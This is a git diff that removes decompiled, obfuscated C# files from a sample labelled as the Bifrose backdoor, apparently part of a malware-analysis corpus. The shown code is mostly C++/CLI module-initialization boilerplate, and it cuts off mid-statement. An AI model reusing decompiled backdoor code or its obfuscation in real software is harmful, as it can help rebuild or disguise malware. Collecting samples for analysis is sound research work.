\u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0082\u0095 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_009A.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_009A.cs deleted file mode 100644 index 43c9c9ed..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_009A.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚š -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [UnsafeValueType] - [StructLayout(LayoutKind.Sequential, Size = 64)] - internal struct \u0082\u009A - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¢.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¢.cs deleted file mode 100644 index 45288c93..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¢.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¢ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0082\u00A2 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¥.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¥.cs deleted file mode 100644 index 4db40b54..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¥.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¥ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 224)] - internal struct \u0082\u00A5 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¦.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¦.cs deleted file mode 100644 index 14c34e71..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¦.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¦ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0082\u00A6 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082§.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082§.cs deleted file mode 100644 index 76745bb0..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082§.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚§ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 248)] - internal struct \u0082\u00A7 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¨.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¨.cs deleted file mode 100644 index d6f00800..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¨.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¨ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct \u0082\u00A8 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082©.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082©.cs deleted file mode 100644 index b6aa381a..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082©.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚© -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0082\u00A9 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082­.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082­.cs deleted file mode 100644 index e324aca0..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082­.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚­ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0082\u00AD - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082².cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082².cs deleted file mode 100644 index 5213cca8..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082².cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚² -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0082\u00B2 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082³.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082³.cs deleted file mode 100644 index a98d0ad6..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082³.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚³ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0082\u00B3 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¶.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¶.cs deleted file mode 100644 index 221a3e19..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082¶.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¶ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - internal enum \u0082\u00B6 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082º.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082º.cs deleted file mode 100644 index 64269a07..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082º.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚º -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0082º - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082».cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082».cs deleted file mode 100644 index 78f9081c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082».cs +++ /dev/null @@ -1,1424 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚» -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using \u0082\u00BC; -using å; -using õ; -using PvLogiciels.dotNetProtector; -using System; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; -using System.Threading; - -namespace \u0082\u00BC -{ - internal class \u0082\u00BB - { - internal static \u00BF \u00BC; - [FixedAddressValueType] - internal static int \u00B8; - internal static __FnPtr \u009F; - internal static \u00BF \u0087; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u0081ç; - internal static __FnPtr \u0082\u00A3; - [FixedAddressValueType] - internal static bool \u0082\u0080; - internal static __FnPtr \u0081ë; - internal static \u00BF \u0081Ë; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u0081Æ; - internal static __FnPtr \u0081\u00AE; - [FixedAddressValueType] - internal static int \u0081\u0096; - internal static __FnPtr \u0081\u0087; - internal static \u00BF ð; - [FixedAddressValueType] - internal static \u00AE.\u00A9 ê; - internal static __FnPtr \u0082\u00B1; - internal static \u00BF \u00B2; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u00A7; - internal static __FnPtr \u008F; - internal static bool \u0081Ì; - internal static bool \u0082\u009B; - internal static bool \u0082\u0089; - internal static int \u0081ó; - internal static uint \u0081à; - internal static uint \u0081Ð; - internal static \u008E.\u00A9 \u0081Á; - internal static uint \u0082µ; - internal static uint \u0081\u009E; - internal static uint \u0081\u0092; - internal static \u008E.\u00A9 \u0081\u0082; - internal static bool ï; - internal static \u00BF \u00D7; - public static unsafe int** Ð; - public static unsafe int** \u00BD; - internal static __FnPtr \u009E; - [FixedAddressValueType] - internal static uint \u0097; - [FixedAddressValueType] - internal static \u0082\u0098 \u0091; - internal static __FnPtr \u0082\u00B7; - [FixedAddressValueType] - internal static unsafe __FnPtr* \u0082\u009F; - internal static uint \u0082\u0097; - internal static unsafe __FnPtr* \u0082\u008D; - internal static unsafe __FnPtr* \u0082\u0085; - [FixedAddressValueType] - internal static unsafe __FnPtr* \u0081ü; - internal static int \u0081ô; - internal static int \u0081ñ; - internal static int \u0081í; - internal static int \u0081å; - internal static int \u0081ß; - internal static int \u0024; - internal static int \u0081Ú; - public static \u00A6 \u0081Ã; - public static volatile uint æ; - public static \u00A6 ß; - public static \u0099 Ú; - public static volatile \u0094 \u0081\u00B6; - public static \u0099 \u0081\u00B1; - public static unsafe void* \u0081\u00AD; - public static volatile uint \u0081\u00A8; - public static unsafe __FnPtr* \u0081\u00A2; - public static unsafe __FnPtr* \u0081\u009F; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool Ë() => \u0082\u00BB.\u0081\u00A8 != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool À() => \u0082\u00BB.\u0081\u00A8 == 1U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u00AF() => \u0082\u00BB.\u0081\u00A8 == 0U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u009B() => \u0082\u00BB.æ != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0090() => (\u0082\u00BB.\u0081\u00A8 != uint.MaxValue ? 1 : 0) == 0 || (\u0082\u00BB.æ != uint.MaxValue ? 1 : 0) != 0 || \u0082\u00BB.\u0081\u00A8 != 1U && \u0082\u00BB.\u0081\u00A8 != 0U; - - internal static unsafe int \u0081(void* _param0) - { - GC.KeepAlive((object) int.MaxValue); - return 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0082ª() - { - if (\u0082\u00BB.\u0081\u0082 != (\u008E.\u00A9) 2) - return \u0082\u00BB.\u0081\u0082 == (\u008E.\u00A9) -1; - void** voidPtr = (void**) &\u0082\u00BB.\u00D7; - if (ref \u0082\u00BB.\u00D7 < ref \u0082\u00BB.\u00BC) - { - while (*(int*) voidPtr == 0) - { - voidPtr += 4; - if ((IntPtr) voidPtr >= ref \u0082\u00BB.\u00BC) - goto label_5; - } - \u0082\u00BB.\u0081\u0082 = (\u008E.\u00A9) -1; - return true; - } -label_5: - \u0082\u00BB.\u0081\u0082 = (\u008E.\u00A9) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081Ó() - { - if (\u0082\u00BB.\u0081Á != (\u008E.\u00A9) 2) - return \u0082\u00BB.\u0081Á == (\u008E.\u00A9) -1; - void** voidPtr1 = (void**) &\u0082\u00BB.Ú; - if (ref \u0082\u00BB.Ú < ref \u0082\u00BB.\u0081\u00B1) - { - while (*(int*) voidPtr1 == 0) - { - voidPtr1 += 4; - if ((IntPtr) voidPtr1 >= ref \u0082\u00BB.\u0081\u00B1) - goto label_5; - } - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) -1; - return true; - } -label_5: - void** voidPtr2 = (void**) &\u0082\u00BB.ß; - if (ref \u0082\u00BB.ß < ref \u0082\u00BB.\u0081Ã) - { - while (*(int*) voidPtr2 == 0) - { - voidPtr2 += 4; - if ((IntPtr) voidPtr2 >= ref \u0082\u00BB.\u0081Ã) - goto label_9; - } - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) -1; - return true; - } -label_9: - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0082\u008C() => \u0082\u00BB.\u0082ª() && !\u0082\u00BB.\u0081Ì || \u0082\u00BB.\u0081Ó() && !\u0082\u00BB.\u0082\u0089 && \u0082\u00BB.\u0081\u00B6 == (\u0094) 0; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0081\u00F7() => \u0082\u00BB.\u0082\u009B; - - internal static unsafe void \u0081á() => \u0082\u00BB.ö((__FnPtr) (IntPtr) \u0082\u00BB.Ð, (void*) 0); - - internal static void \u0081Ò() => \u0082\u00BB.\u0081\u0096 = 0; - - internal static void \u0081\u00BB() => \u0082\u00BB.\u00B8 = 0; - - internal static void \u0081\u00A3() => \u0082\u00BB.\u0082\u0080 = false; - - internal static void \u0081\u008E() => \u0082\u00BB.ê = (\u00AE.\u00A9) 0; - - internal static void \u00A2() => \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 0; - - internal static void \u00A5() => \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 0; - - internal static void \u00AC() => \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 0; - - [DebuggerStepThrough] - internal static unsafe void \u008C([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during vtable initialization.\n"); - \u0082\u00BB.ê = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u0087, (__FnPtr*) &\u0082\u00BB.\u00B2); - \u0082\u00BB.ê = (\u00AE.\u00A9) 2; - } - - internal static unsafe void \u0082\u00B8([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load while attempting to initialize the default appdomain.\n"); - \u0082\u00BB.\u0081á(); - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u00A4([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during native initialization.\n"); - \u0082\u00BB.\u0081\u00B7(); - \u0082\u00BB.\u0082\u0089 = true; - if (!\u0082\u00BB.\u0090()) - \u0082\u00BB.\u0081º(33); - switch (\u0082\u00BB.\u0081\u00B6) - { - case (\u0094) 0: - \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u00B6 = (\u0094) 1; - if (\u0082\u00BB.\u0082\u009E((__FnPtr*) &\u0082\u00BB.Ú, (__FnPtr*) &\u0082\u00BB.\u0081\u00B1) != 0) - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0)); - \u0082\u00BB.\u0093((__FnPtr*) &\u0082\u00BB.ß, (__FnPtr*) &\u0082\u00BB.\u0081Ã); - \u0082\u00BB.\u0081\u00B6 = (\u0094) 2; - \u0082\u00BB.ï = true; - \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 2; - break; - case (\u0094) 1: - \u0082\u00BB.\u0081º(33); - break; - } - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u008F([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during process initialization.\n"); - \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u0094(); - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u00D7, (__FnPtr*) &\u0082\u00BB.\u00BC); - \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 2; - \u0082\u00BB.\u0081Ì = true; - } - - [DebuggerStepThrough] - internal static unsafe void \u0081û([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during appdomain initialization.\n"); - \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u0089(); - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u0081Ë, (__FnPtr*) &\u0082\u00BB.ð); - \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 2; - } - - [DebuggerStepThrough] - internal static unsafe void \u0081ä([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during registration for the unload events.\n"); - \u0082\u00BB.\u0081\u0085(new EventHandler(\u0082\u00BB.\u0081\u008F)); - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void Ø([In] Ñ* obj0) - { - \u0082\u00BB.\u0082\u0080 = AppDomain.CurrentDomain.IsDefaultAppDomain(); - if (\u0082\u00BB.\u0082\u0080) - \u0082\u00BB.\u0082\u009B = true; - \u0082\u00BB.\u0081\u00A1(); - void* voidPtr1 = \u0082\u00BB.\u0081\u00BE(); - int num1 = 0; - int num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - while (num2 == 0) - { - try - { - } - finally - { - IntPtr comparand = (IntPtr) 0; - IntPtr num3 = (IntPtr) voidPtr1; - // ISSUE: cast to a reference type - void* voidPtr2 = (void*) Interlocked.CompareExchange((IntPtr&) ref \u0082\u00BB.\u0081\u00AD, num3, comparand); - if ((IntPtr) voidPtr2 == IntPtr.Zero) - num2 = 1; - else if (voidPtr2 == voidPtr1) - { - num1 = 1; - num2 = 1; - } - } - if (num2 == 0) - \u0082\u00BB.\u0081\u00B2(1000U); - } - if (!\u0082\u00BB.\u0082\u0080) - { - if (\u0082\u00BB.\u0082\u008C()) - \u0082\u00BB.\u0082\u00B8(obj0); - } - } - finally - { - if (num1 == 0) - { - IntPtr num4 = (IntPtr) 0; - // ISSUE: cast to a reference type - Interlocked.Exchange((IntPtr&) ref \u0082\u00BB.\u0081\u00AD, num4); - } - } - \u0082\u00BB.\u008C(obj0); - if (\u0082\u00BB.\u0082\u0080) - { - \u0082\u00BB.\u0082\u00A4(obj0); - \u0082\u00BB.\u0082\u008F(obj0); - } - \u0082\u00BB.\u0081û(obj0); - \u0082\u00BB.\u0081\u0096 = 1; - \u0082\u00BB.\u0081ä(obj0); - } - - internal static void \u0081À() => \u0082\u00BB.É(); - - internal static unsafe int \u0081\u00AF(void* _param0) - { - \u0082\u00BB.\u0081\u0098(); - \u0082\u00BB.\u0081Ì = false; - if (\u0082\u00BB.ï) - { - \u0082\u00BB.ì(); - \u0082\u00BB.\u0081\u00B6 = (\u0094) 0; - \u0082\u00BB.ï = false; - } - \u0082\u00BB.\u0082\u0089 = false; - return 0; - } - - internal static unsafe void \u0081\u009D() - { - if (!\u0082\u00BB.\u0082\u009B) - return; - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - \u0082\u00BB.\u0081\u00AF((void*) 0); - } - else - { - // ISSUE: cast to a function pointer type - \u0082\u00BB.ö((__FnPtr) (IntPtr) \u0082\u00BB.\u00BD, (void*) 0); - } - } - - [PrePrepareMethod] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static void \u0081\u008F(object _param0, EventArgs _param1) - { - if (\u0082\u00BB.\u0081\u0096 == 0 || Interlocked.Exchange(ref \u0082\u00BB.\u00B8, 1) != 0) - return; - int num = 